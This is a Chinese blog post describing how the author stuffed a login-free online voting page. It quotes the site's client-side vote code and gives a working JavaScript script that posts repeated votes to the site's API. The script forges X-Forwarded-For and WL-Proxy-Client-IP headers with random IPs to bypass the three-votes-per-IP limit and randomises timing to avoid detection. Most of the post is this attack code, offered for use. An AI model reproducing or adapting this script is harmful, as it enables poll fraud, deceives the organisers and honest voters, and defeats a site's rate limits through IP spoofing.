家庭群里,时不时的亲戚就会要求给他投票啊什么的……有的还要你每天帮忙一次。真的是,我又不是上班,凭什么要求我打卡!不行,我要试试看能不能刷!
一:规则
打开网页一看:是一个免登录的投票页面:
其规则为:每个IP每天可以投票三次。
好家伙!没有登录,没有验证码,正是小试牛刀的好对象!
二:研究
找到待投票的项目,发现其源码写着:
找到votes方法:
//-投票
var isSubmit = false;
var lastTime = 0;
function votes(playerId) {
/*
$("#msgDialog").fadeIn(200);
$("#msgDialog .weui-dialog__bd").text("投票已截止");
return false;
*/
if (isSubmit) return;
var nowTime = Date.parse(new Date());
if ((nowTime - lastTime) < 2000) { return; }
isSubmit = true;
var action = 'vote';
$.ajax({
type: "post",
url: host + "/server/api/Player.aspx",
dataType: "json",
timeout: 30000,
data: {
action: action,
id: playerId
},
traditional: true,
beforeSend: function () {
$("#toastSuccess").fadeOut(200);
$("#loadingToast .weui-toast__content").text("正在投票,请稍后...");
$("#loadingToast").fadeIn(200);
},
success: function (data) {
isSubmit = false;
data.state = parseInt(data.state);
if (data.state == 1) {
//+1票
/*
//多选
for (var pi = 0; pi < playerId.length; pi++) {
console.log("playerId,", playerId[pi])
var thisPlayerId = playerId[pi];
var v = parseInt($("#votesNum" + thisPlayerId).text());
$("#votesNum" + thisPlayerId).text((v + 1));
}
*/
//单点
var v = parseInt($("#votesNum" + playerId).text()) + 1;
$("#votesNum" + playerId).text(v);
updateVotes(playerId, v)
//+1票 end
$("#toastSuccess").fadeIn(200);
var msg = "感谢您的参与!";
$("#toastSuccess .weui-toast__content").text(msg);
setTimeout(function () {
$("#toastSuccess").fadeOut(200);
}, 2000);
} else if (data.state == -2003) {
$("#msgDialog").fadeIn(200);
$("#msgDialog .weui-dialog__bd").text("投票已截止");
} else if (data.state == -2004) {
$("#msgDialog").fadeIn(200);
$("#msgDialog .weui-dialog__bd").text("投票未开始");
} else if (data.state == -2006) {
$("#msgDialog").fadeIn(200);
$("#msgDialog .weui-dialog__bd").text("您今日已为该选手投票");
} else {
var sn = getPlayerNo(data.itemId);
$("#msgDialog").fadeIn(200);
$("#msgDialog .weui-dialog__bd").text("您今天的投票次数已用完!");
}
},
complete: function (XMLHttpRequest, status) {
isSubmit = false;
lastTime = nowTime;
console.log('status', status);
$("#loadingToast").fadeOut(200);
if (status == 'timeout') {
$("#msgDialog").fadeIn(200);
$("#msgDialog .weui-dialog__bd").text("网络连接超时,请重试。");
}
else if (status == 'error') {
$("#msgDialog").fadeIn(200);
$("#msgDialog .weui-dialog__bd").text("网络连接错误,请重试。");
}
}
});
}
就是一个很普通的ajax跳转,把id当参数传进去了。参考了网上的一些教程(关于微信投票刷票的js代码)
准备动手。
三:实践
以下是程序代码:
function init(){
initIp();
}
//定时操作,每秒执行一次
function demo(){
var b=0;
while(b<1000){//循环次数,根据你想要投票的次数来定。不要写while(true)后果很严重
console.log("go");
var time=randomNum(4000,5000);//设定延迟时间在一个小范围内,模拟人操作。毕竟人的操作不会每次耗时都一样。
for(var i=0;i<4;i++){setInterval(init(),time);//每个ip可以投票三次,所以循环三次
setInterval(function(){},time);
b++;
}
}
}
//提交请求
function initIp(){
var ip=createIp();
var host = 'http://该网站域名.com.cn/Voting';
var submitData = {
action : 'vote',
id : 3433 //参数自然不用传了,直接写上就好
};
console.log("go into");
$.ajax({
headers:{'x-forwarded-for':ip,'WL-Proxy-Client-IP':ip},
type: "POST",
url: host + "/server/api/Player.aspx",
data: submitData,
dataType: "json",
beforeSend: function () {},
success: function (data) {
data.state = parseInt(data.state);
if(data.state == 1){//参考原来的代码,读取返回值判断我们是否刷成功了
console.log("刷票成功");
}else {
console.log("失败"+data.state)
}
}
});
}
//生成随机的ip地址
function createIp() {
var a = Math.round(Math.random() * 250) + 1,
b = Math.round(Math.random() * 250) + 1,
c = Math.round(Math.random() * 240) + 1,
d = Math.round(Math.random() * 240) + 1;
return [a, b, c, d].join('.');
}
function randomNum(minNum,maxNum){
return parseInt(Math.random()*(maxNum-minNum+1)+minNum,10);
}
代码实现了伪造请求的IP,以实现重复投票。实现操作时间随机化,模拟人手操作。
不足之处也有。本来我以为是一个操作完到下一个,4-5秒操作一次,结果程序直接给我并发运行了,比想象中快很多。原来程序有个timeout参数,我的忘记加了……总之造成了作弊可能被发现的可能。